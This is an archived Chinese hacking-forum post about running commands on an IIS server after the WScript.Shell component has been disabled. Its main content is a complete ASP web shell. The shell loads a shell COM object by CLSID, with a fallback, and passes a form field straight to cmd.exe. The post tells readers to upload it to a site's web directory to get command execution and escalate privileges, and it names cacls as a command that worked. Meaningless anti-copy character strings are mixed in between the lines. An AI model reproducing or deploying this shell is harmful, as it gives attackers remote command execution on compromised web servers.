中国网络渗透测试联盟
标题:
wscript.shell删除解决办法
[打印本页]
作者:
admin
时间:
2012-9-15 14:36
标题:
wscript.shell删除解决办法
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
) B2 ~# B% j* H
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
/ D( _) W! C# P
要想让运行命令可以试试这种方法,成功率为五五之数。
! S0 H, K2 G; \( L. N- ~
把下面代码复制:
* |9 j0 K- {% N. H0 e( c
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
9 ~- w' @7 t) D- I. S
<%if err then%>
_' c% X A6 F Q
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
$ N% {0 D) S0 u5 G" |, b
<%
0 I& E0 u& N! ~/ J
end if
7 `0 [' O1 Z: `' P6 k
response.write("<textarea readonly cols=80 rows=20>")
5 u* ^! j- x* z' q2 W
On Error Resume Next
/ r: K5 B/ r! q6 P. e* m
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
6 W j) n; z+ s9 @6 v+ {
response.write("</textarea>")
" A' u, D1 Q/ E
response.write("<form method='post'>")
) I9 a3 ~/ ?: _$ k' z i% y
response.write("<input type=text name='c' size=60><br>")
0 A/ s/ F2 Y* f3 G
response.write("<input type=submit value='执行'></form>")
( Z+ S+ v5 f& i8 D7 I$ M
%>
" Y: S4 ~- ^* g/ }, g' J
7 V9 l n: W# B# `# K
保存为一个asp文件,然后传到网站目录上去
; e3 v% i* N" u4 {, z1 V
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
+ h, B6 F. U) X. I; V' `2 n
我用此成功运行过cacls命令。
! h0 o/ d) h) V3 P# P' ]' d& ]
7 f* h0 t9 @) p) N
第二那就是运行时出错,可能限制某些代码执行
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2